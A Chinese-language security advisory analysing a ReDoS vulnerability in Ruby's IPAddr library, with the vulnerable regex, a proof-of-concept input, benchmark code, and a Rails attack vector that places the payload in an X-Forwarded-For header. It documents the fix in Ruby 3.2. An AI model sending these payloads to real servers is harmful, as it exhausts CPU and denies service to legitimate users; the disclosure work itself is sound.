本文详细分析了Ruby IPAddr库中存在的正则表达式拒绝服务漏洞,包括漏洞原理、PoC构造、性能基准测试以及Rails框架中的实际攻击场景,并验证了Ruby 3.2及以上版本的修复效果。
Ruby IPAddr ReDoS 漏洞分析报告
漏洞概述
在Ruby的IPAddr库中发现存在正则表达式拒绝服务(ReDoS)漏洞,攻击者可通过构造特定格式的IP地址字符串导致服务端CPU资源耗尽。
技术细节
漏洞代码定位
1
2
3
4
5
6
7
|
# lib/ipaddr.rb 第525行
def mask!(mask)
case mask
when String
case mask
when /\A(0|[1-9]+\d*)\z/ # 存在ReDoS风险的正则表达式
prefixlen = mask.to_i
|
攻击入口点
1
2
3
4
5
6
7
8
|
# lib/ipaddr.rb 第628行
def initialize(addr = '::', family = Socket::AF_UNSPEC)
prefix, prefixlen = addr.split('/', 2)
# ...
if prefixlen
mask!(prefixlen) # 调用存在漏洞的方法
end
end
|
漏洞验证
PoC示例
1
2
|
# 触发ReDoS的恶意输入
IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
|
影响范围
该漏洞影响以下IPAddr方法:
include?
==(相等比较)
|(按位或)
&(按位与)
性能基准测试
测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
require 'benchmark'
require 'ipaddr'
def ipaddr_new(length)
text = "0.0.0.0/" + '1' * length + '.'
IPAddr.new(text)
rescue IPAddr::InvalidAddressError
nil
end
Benchmark.bm do |x|
x.report { ipaddr_new(100) } # 0.000055秒
x.report { ipaddr_new(1000) } # 0.002968秒
x.report { ipaddr_new(10000) } # 0.302580秒
x.report { ipaddr_new(100000) } # 31.255489秒
end
|
Rails框架攻击场景
攻击向量
1
2
|
# ActionDispatch::RemoteIp 漏洞利用
req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'
|
中间件影响
- Puma:支持最大80KB头长度,易受攻击
- Nginx:默认限制头长度约8KB,受影响较小
修复验证
Ruby 3.2.0修复效果
1
2
3
4
5
|
# 修复后性能测试结果
100长度: 0.000031秒
1000长度: 0.000134秒
10000长度: 0.000435秒
100000长度: 0.004035秒
|
Ruby 3.3.0确认修复
性能表现与3.2.0版本相当,ReDoS问题已彻底解决。
时间线
- 2022年2月19日:漏洞报告提交
- 2022年3月7日:状态改为Triaged
- 2025年6月3日:确认为已修复状态
- 2025年7月8日:报告公开披露
结论
该ReDoS漏洞在Ruby 3.2版本中通过正则表达式引擎优化得到修复,建议用户升级至Ruby 3.2或更高版本以确保系统安全。